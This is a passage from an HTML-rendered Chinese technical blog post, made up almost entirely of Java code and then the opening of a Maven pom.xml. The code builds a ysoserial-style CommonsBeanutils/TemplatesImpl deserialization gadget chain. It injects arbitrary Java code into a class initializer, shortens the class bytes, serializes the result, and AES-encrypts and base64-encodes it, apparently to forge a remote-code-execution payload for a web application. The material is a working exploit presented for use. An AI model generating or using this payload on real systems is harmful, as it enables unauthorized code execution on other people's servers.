rgb(202, 125, 55);">byte</span>[ ] encrypted = cipher.doFinal(content);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">byte</span>[ ] cipherText = <span style="color: rgb(202, 125, 55);">new</span> <span style="color: rgb(202, 125, 55);">byte</span>[iv.length + encrypted.length];</span></code><code><span class="code-snippet_outer">        System.arraycopy(iv, <span style="color: rgb(14, 156, 229);">0</span>, cipherText, <span style="color: rgb(14, 156, 229);">0</span>, iv.length);</span></code><code><span class="code-snippet_outer">        System.arraycopy(encrypted, <span style="color: rgb(14, 156, 229);">0</span>, cipherText, iv.length, encrypted.length);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">return</span> base64Encode(cipherText);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">private</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">byte</span>[ ] generateRandomIv() <span style="color: rgb(202, 125, 55);">throws</span> NoSuchAlgorithmException {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">byte</span>[ ] iv = <span style="color: rgb(202, 125, 55);">new</span> <span style="color: rgb(202, 125, 55);">byte</span>[<span style="color: rgb(14, 156, 229);">16</span>];</span></code><code><span class="code-snippet_outer">        SecureRandom random = SecureRandom.getInstance(<span style="color: rgb(221, 17, 68);">&#34;SHA1PRNG&#34;</span>);</span></code><code><span class="code-snippet_outer">        random.nextBytes(iv);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">return</span> iv;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> Object <span style="color: rgb(221, 17, 68);">getCbGadget</span>(String javaCode) <span style="color: rgb(202, 125, 55);">throws</span> Exception {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">final</span> Object templates = Gadgets.createTemplatesImpl(javaCode);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(175, 175, 175);font-style: italic;">// mock method name until armed</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">final</span> BeanComparator comparator = <span style="color: rgb(202, 125, 55);">new</span> BeanComparator(<span style="color: rgb(221, 17, 68);">&#34;lowestSetBit&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(175, 175, 175);font-style: italic;">// create queue with numbers and basic comparator</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">final</span> PriorityQueue&lt;Object&gt; queue = <span style="color: rgb(202, 125, 55);">new</span> PriorityQueue&lt;Object&gt;(<span style="color: rgb(14, 156, 229);">2</span>, comparator);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(175, 175, 175);font-style: italic;">// stub data for replacement later</span></span></code><code><span class="code-snippet_outer">        queue.add(<span style="color: rgb(202, 125, 55);">new</span> BigInteger(<span style="color: rgb(221, 17, 68);">&#34;1&#34;</span>));</span></code><code><span class="code-snippet_outer">        queue.add(<span style="color: rgb(202, 125, 55);">new</span> BigInteger(<span style="color: rgb(221, 17, 68);">&#34;1&#34;</span>));</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(175, 175, 175);font-style: italic;">// switch method called by comparator</span></span></code><code><span class="code-snippet_outer">        Reflections.setFieldValue(comparator, <span style="color: rgb(221, 17, 68);">&#34;property&#34;</span>, <span style="color: rgb(221, 17, 68);">&#34;outputProperties&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(175, 175, 175);font-style: italic;">// switch contents of queue</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">final</span> Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, <span style="color: rgb(221, 17, 68);">&#34;queue&#34;</span>);</span></code><code><span class="code-snippet_outer">        queueArray[<span style="color: rgb(14, 156, 229);">0</span>] = templates;</span></code><code><span class="code-snippet_outer">        queueArray[<span style="color: rgb(14, 156, 229);">1</span>] = templates;</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">return</span> queue;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">class</span> <span style="color: rgb(14, 156, 229);">Serialization</span> {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">byte</span>[ ] serialize(Object obj) <span style="color: rgb(202, 125, 55);">throws</span> IOException {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">final</span> ByteArrayOutputStream out = <span style="color: rgb(202, 125, 55);">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">            serialize(obj, out);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">return</span> out.toByteArray();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">void</span> <span style="color: rgb(221, 17, 68);">serialize</span>(Object obj, OutputStream out) <span style="color: rgb(202, 125, 55);">throws</span> IOException {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">final</span> ObjectOutputStream objOut = <span style="color: rgb(202, 125, 55);">new</span> ObjectOutputStream(out);</span></code><code><span class="code-snippet_outer">            objOut.writeObject(obj);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">class</span> <span style="color: rgb(14, 156, 229);">Gadgets</span> {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> Object <span style="color: rgb(221, 17, 68);">createTemplatesImpl</span>(<span style="color: rgb(202, 125, 55);">final</span> String command) <span style="color: rgb(202, 125, 55);">throws</span> Exception {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">if</span> (Boolean.parseBoolean(System.getProperty(<span style="color: rgb(221, 17, 68);">&#34;properXalan&#34;</span>, <span style="color: rgb(221, 17, 68);">&#34;false&#34;</span>))) {</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">return</span> createTemplatesImpl(</span></code><code><span class="code-snippet_outer">                        command,</span></code><code><span class="code-snippet_outer">                        Class.forName(<span style="color: rgb(221, 17, 68);">&#34;org.apache.xalan.xsltc.trax.TemplatesImpl&#34;</span>),</span></code><code><span class="code-snippet_outer">                        Class.forName(<span style="color: rgb(221, 17, 68);">&#34;org.apache.xalan.xsltc.runtime.AbstractTranslet&#34;</span>),</span></code><code><span class="code-snippet_outer">                        Class.forName(<span style="color: rgb(221, 17, 68);">&#34;org.apache.xalan.xsltc.trax.TransformerFactoryImpl&#34;</span>));</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">return</span> createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> &lt;T&gt; T <span style="color: rgb(221, 17, 68);">createTemplatesImpl</span>(<span style="color: rgb(202, 125, 55);">final</span> String javaCode, Class&lt;T&gt; tplClass, Class&lt;?&gt; abstTranslet, Class&lt;?&gt; transFactory)</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">throws</span> Exception {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">final</span> T templates = tplClass.newInstance();</span></code><code><span class="code-snippet_outer">            ClassPool pool = ClassPool.getDefault();</span></code><code><span class="code-snippet_outer">            pool.insertClassPath(<span style="color: rgb(202, 125, 55);">new</span> ClassClassPath(abstTranslet));</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">final</span> CtClass clazz = pool.makeClass(<span style="color: rgb(221, 17, 68);">&#34;StubTransletPayload&#34;</span>);</span></code><code><span class="code-snippet_outer">            clazz.makeClassInitializer().insertAfter(javaCode);</span></code><code><span class="code-snippet_outer">            clazz.setName(<span style="color: rgb(221, 17, 68);">&#34;ysoserial.Pwner&#34;</span> + System.nanoTime());</span></code><code><span class="code-snippet_outer">            CtClass superC = pool.get(abstTranslet.getName());</span></code><code><span class="code-snippet_outer">            clazz.setSuperclass(superC);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">byte</span>[ ] classBytes = clazz.toBytecode();</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(175, 175, 175);font-style: italic;">// inject class bytes into instance</span></span></code><code><span class="code-snippet_outer">            classBytes = shortenClassBytes(classBytes);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">byte</span>[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));</span></code><code><span class="code-snippet_outer">            Reflections.setFieldValue(templates, <span style="color: rgb(221, 17, 68);">&#34;_bytecodes&#34;</span>, <span style="color: rgb(202, 125, 55);">new</span> <span style="color: rgb(202, 125, 55);">byte</span>[ ][ ]{</span></code><code><span class="code-snippet_outer">                    classBytes, ClassFiles.classAsBytes(Foo.class)</span></code><code><span class="code-snippet_outer">            });</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(175, 175, 175);font-style: italic;">// required to make TemplatesImpl happy</span></span></code><code><span class="code-snippet_outer">            Reflections.setFieldValue(templates, <span style="color: rgb(221, 17, 68);">&#34;_name&#34;</span>, <span style="color: rgb(221, 17, 68);">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">            Reflections.setFieldValue(templates, <span style="color: rgb(221, 17, 68);">&#34;_tfactory&#34;</span>, transFactory.newInstance());</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">return</span> templates;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">class</span> <span style="color: rgb(14, 156, 229);">ClassFiles</span> {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> String <span style="color: rgb(221, 17, 68);">classAsFile</span>(<span style="color: rgb(202, 125, 55);">final</span> Class&lt;?&gt; clazz) {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">return</span> classAsFile(clazz, <span style="color: rgb(202, 125, 55);">true</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> String <span style="color: rgb(221, 17, 68);">classAsFile</span>(<span style="color: rgb(202, 125, 55);">final</span> Class&lt;?&gt; clazz, <span style="color: rgb(202, 125, 55);">boolean</span> suffix) {</span></code><code><span class="code-snippet_outer">            String str;</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">if</span> (clazz.getEnclosingClass() == <span style="color: rgb(202, 125, 55);">null</span>) {</span></code><code><span class="code-snippet_outer">                str = clazz.getName().replace(<span style="color: rgb(221, 17, 68);">&#34;.&#34;</span>, <span style="color: rgb(221, 17, 68);">&#34;/&#34;</span>);</span></code><code><span class="code-snippet_outer">            } <span style="color: rgb(202, 125, 55);">else</span> {</span></code><code><span class="code-snippet_outer">                str = classAsFile(clazz.getEnclosingClass(), <span style="color: rgb(202, 125, 55);">false</span>) + <span style="color: rgb(221, 17, 68);">&#34;$&#34;</span> + clazz.getSimpleName();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">if</span> (suffix) {</span></code><code><span class="code-snippet_outer">                str += <span style="color: rgb(221, 17, 68);">&#34;.class&#34;</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">return</span> str;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">byte</span>[ ] classAsBytes(<span style="color: rgb(202, 125, 55);">final</span> Class&lt;?&gt; clazz) {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">try</span> {</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">final</span> <span style="color: rgb(202, 125, 55);">byte</span>[ ] buffer = <span style="color: rgb(202, 125, 55);">new</span> <span style="color: rgb(202, 125, 55);">byte</span>[<span style="color: rgb(14, 156, 229);">1024</span>];</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">final</span> String file = classAsFile(clazz);</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">final</span> InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">if</span> (in == <span style="color: rgb(202, 125, 55);">null</span>) {</span></code><code><span class="code-snippet_outer">                    <span style="color: rgb(202, 125, 55);">throw</span> <span style="color: rgb(202, 125, 55);">new</span> IOException(<span style="color: rgb(221, 17, 68);">&#34;couldn&#39;t find &#39;&#34;</span> + file + <span style="color: rgb(221, 17, 68);">&#34;&#39;&#34;</span>);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">final</span> ByteArrayOutputStream out = <span style="color: rgb(202, 125, 55);">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">int</span> len;</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">while</span> ((len = in.read(buffer)) != -<span style="color: rgb(14, 156, 229);">1</span>) {</span></code><code><span class="code-snippet_outer">                    out.write(buffer, <span style="color: rgb(14, 156, 229);">0</span>, len);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">return</span> out.toByteArray();</span></code><code><span class="code-snippet_outer">            } <span style="color: rgb(202, 125, 55);">catch</span> (IOException e) {</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">throw</span> <span style="color: rgb(202, 125, 55);">new</span> RuntimeException(e);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">class</span> <span style="color: rgb(14, 156, 229);">Foo</span> <span style="color: rgb(202, 125, 55);">implements</span> <span style="color: rgb(14, 156, 229);">Serializable</span> {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">private</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">final</span> <span style="color: rgb(202, 125, 55);">long</span> serialVersionUID = <span style="color: rgb(14, 156, 229);">8207363842866235160L</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">class</span> <span style="color: rgb(14, 156, 229);">Reflections</span> {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">void</span> <span style="color: rgb(221, 17, 68);">setAccessible</span>(AccessibleObject member) {</span></code><code><span class="code-snippet_outer">            String versionStr = System.getProperty(<span style="color: rgb(221, 17, 68);">&#34;java.version&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">int</span> javaVersion = Integer.parseInt(versionStr.split(<span style="color: rgb(221, 17, 68);">&#34;\\.&#34;</span>)[<span style="color: rgb(14, 156, 229);">0</span>]);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">if</span> (javaVersion &lt; <span style="color: rgb(14, 156, 229);">12</span>) {</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(175, 175, 175);font-style: italic;">// quiet runtime warnings from JDK9+</span></span></code><code><span class="code-snippet_outer">                Permit.setAccessible(member);</span></code><code><span class="code-snippet_outer">            } <span style="color: rgb(202, 125, 55);">else</span> {</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(175, 175, 175);font-style: italic;">// not possible to quiet runtime warnings anymore...</span></span></code><code><span class="code-snippet_outer">                <span style="color: rgb(175, 175, 175);font-style: italic;">// see <a href="https://bugs.openjdk.java.net/browse/JDK-8210522" target="_blank">https://bugs.openjdk.java.net/browse/JDK-8210522</a></span></span></code><code><span class="code-snippet_outer">                <span style="color: rgb(175, 175, 175);font-style: italic;">// to understand impact on Permit (i.e. it does not work</span></span></code><code><span class="code-snippet_outer">                <span style="color: rgb(175, 175, 175);font-style: italic;">// anymore with Java &gt;= 12)</span></span></code><code><span class="code-snippet_outer">                member.setAccessible(<span style="color: rgb(202, 125, 55);">true</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> Field <span style="color: rgb(221, 17, 68);">getField</span>(<span style="color: rgb(202, 125, 55);">final</span> Class&lt;?&gt; clazz, <span style="color: rgb(202, 125, 55);">final</span> String fieldName) {</span></code><code><span class="code-snippet_outer">            Field field = <span style="color: rgb(202, 125, 55);">null</span>;</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">try</span> {</span></code><code><span class="code-snippet_outer">                field = clazz.getDeclaredField(fieldName);</span></code><code><span class="code-snippet_outer">                setAccessible(field);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">catch</span> (NoSuchFieldException ex) {</span></code><code><span class="code-snippet_outer">                <span style="color: rgb(202, 125, 55);">if</span> (clazz.getSuperclass() != <span style="color: rgb(202, 125, 55);">null</span>)</span></code><code><span class="code-snippet_outer">                    field = getField(clazz.getSuperclass(), fieldName);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">return</span> field;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">void</span> <span style="color: rgb(221, 17, 68);">setFieldValue</span>(<span style="color: rgb(202, 125, 55);">final</span> Object obj, <span style="color: rgb(202, 125, 55);">final</span> String fieldName, <span style="color: rgb(202, 125, 55);">final</span> Object value) <span style="color: rgb(202, 125, 55);">throws</span> Exception {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">final</span> Field field = getField(obj.getClass(), fieldName);</span></code><code><span class="code-snippet_outer">            field.set(obj, value);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> Object <span style="color: rgb(221, 17, 68);">getFieldValue</span>(<span style="color: rgb(202, 125, 55);">final</span> Object obj, <span style="color: rgb(202, 125, 55);">final</span> String fieldName) <span style="color: rgb(202, 125, 55);">throws</span> Exception {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">final</span> Field field = getField(obj.getClass(), fieldName);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">return</span> field.get(obj);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">byte</span>[ ] shortenClassBytes(<span style="color: rgb(202, 125, 55);">byte</span>[ ] classBytes) {</span></code><code><span class="code-snippet_outer">        ClassReader cr = <span style="color: rgb(202, 125, 55);">new</span> ClassReader(classBytes);</span></code><code><span class="code-snippet_outer">        ClassWriter cw = <span style="color: rgb(202, 125, 55);">new</span> ClassWriter(ClassWriter.COMPUTE_FRAMES);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">int</span> api = Opcodes.ASM7;</span></code><code><span class="code-snippet_outer">        ClassVisitor cv = <span style="color: rgb(202, 125, 55);">new</span> ShortClassVisitor(api, cw);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">int</span> parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;</span></code><code><span class="code-snippet_outer">        cr.accept(cv, parsingOptions);</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">byte</span>[ ] out = cw.toByteArray();</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">return</span> out;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">class</span> <span style="color: rgb(14, 156, 229);">ShortClassVisitor</span> <span style="color: rgb(202, 125, 55);">extends</span> <span style="color: rgb(14, 156, 229);">ClassVisitor</span> {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">private</span> <span style="color: rgb(202, 125, 55);">final</span> <span style="color: rgb(202, 125, 55);">int</span> api;</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(221, 17, 68);">ShortClassVisitor</span>(<span style="color: rgb(202, 125, 55);">int</span> api, ClassVisitor classVisitor) {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">super</span>(api, classVisitor);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">this</span>.api = api;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(175, 175, 175);">@Override</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> MethodVisitor <span style="color: rgb(221, 17, 68);">visitMethod</span>(<span style="color: rgb(202, 125, 55);">int</span> access, String name, String descriptor, String signature, String[ ] exceptions) {</span></code><code><span class="code-snippet_outer">            MethodVisitor mv = <span style="color: rgb(202, 125, 55);">super</span>.visitMethod(access, name, descriptor, signature, exceptions);</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">return</span> <span style="color: rgb(202, 125, 55);">new</span> ShortMethodAdapter(<span style="color: rgb(202, 125, 55);">this</span>.api, mv);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">static</span> <span style="color: rgb(202, 125, 55);">class</span> <span style="color: rgb(14, 156, 229);">ShortMethodAdapter</span> <span style="color: rgb(202, 125, 55);">extends</span> <span style="color: rgb(14, 156, 229);">MethodVisitor</span> <span style="color: rgb(202, 125, 55);">implements</span> <span style="color: rgb(14, 156, 229);">Opcodes</span> {</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(221, 17, 68);">ShortMethodAdapter</span>(<span style="color: rgb(202, 125, 55);">int</span> api, MethodVisitor methodVisitor) {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(202, 125, 55);">super</span>(api, methodVisitor);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span style="color: rgb(175, 175, 175);">@Override</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(202, 125, 55);">public</span> <span style="color: rgb(202, 125, 55);">void</span> <span style="color: rgb(221, 17, 68);">visitLineNumber</span>(<span style="color: rgb(202, 125, 55);">int</span> line, Label start) {</span></code><code><span class="code-snippet_outer">            <span style="color: rgb(175, 175, 175);font-style: italic;">// delete line number</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx78rwcxchg5g8e3jj&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx78rwd56sq1277erq&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:10,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;pom.xml&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39; 如下&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3OHJ3Y3hjaGc1ZzhlM2pqJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJpbmxpbmVDb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3OHJ3ZDU2c3ExMjc3ZXJxJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIycG9tLnhtbCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnN6JTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnZhbHVlJTIyJTNBMTAlMkMlMjJzelVuaXQlMjIlM0ElMjJwdCUyMiU3RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjAlRTUlQTYlODIlRTQlQjglOEIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJzeiUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ2YWx1ZSUyMiUzQTEyJTJDJTIyc3pVbml0JTIyJTNBJTIycHQlMjIlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">pom.xml </span><span style="font-size: 15px;">如下</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span style="color: rgb(175, 175, 175);">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">&lt;project xmlns=<span style="color: rgb(221, 17, 68);">&#34;<a href="http://maven.apache.org/POM/4.0.0" target="_blank">http://maven.apache.org/POM/4.0.0</a>&#34;</span></span></span></code><code><span class="code-snippet_outer">         xmlns:xsi=<span style="color: rgb(221, 17, 68);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span></span></code><code><span class="code-snippet_outer">         xsi:schemaLocation=<span style="color: 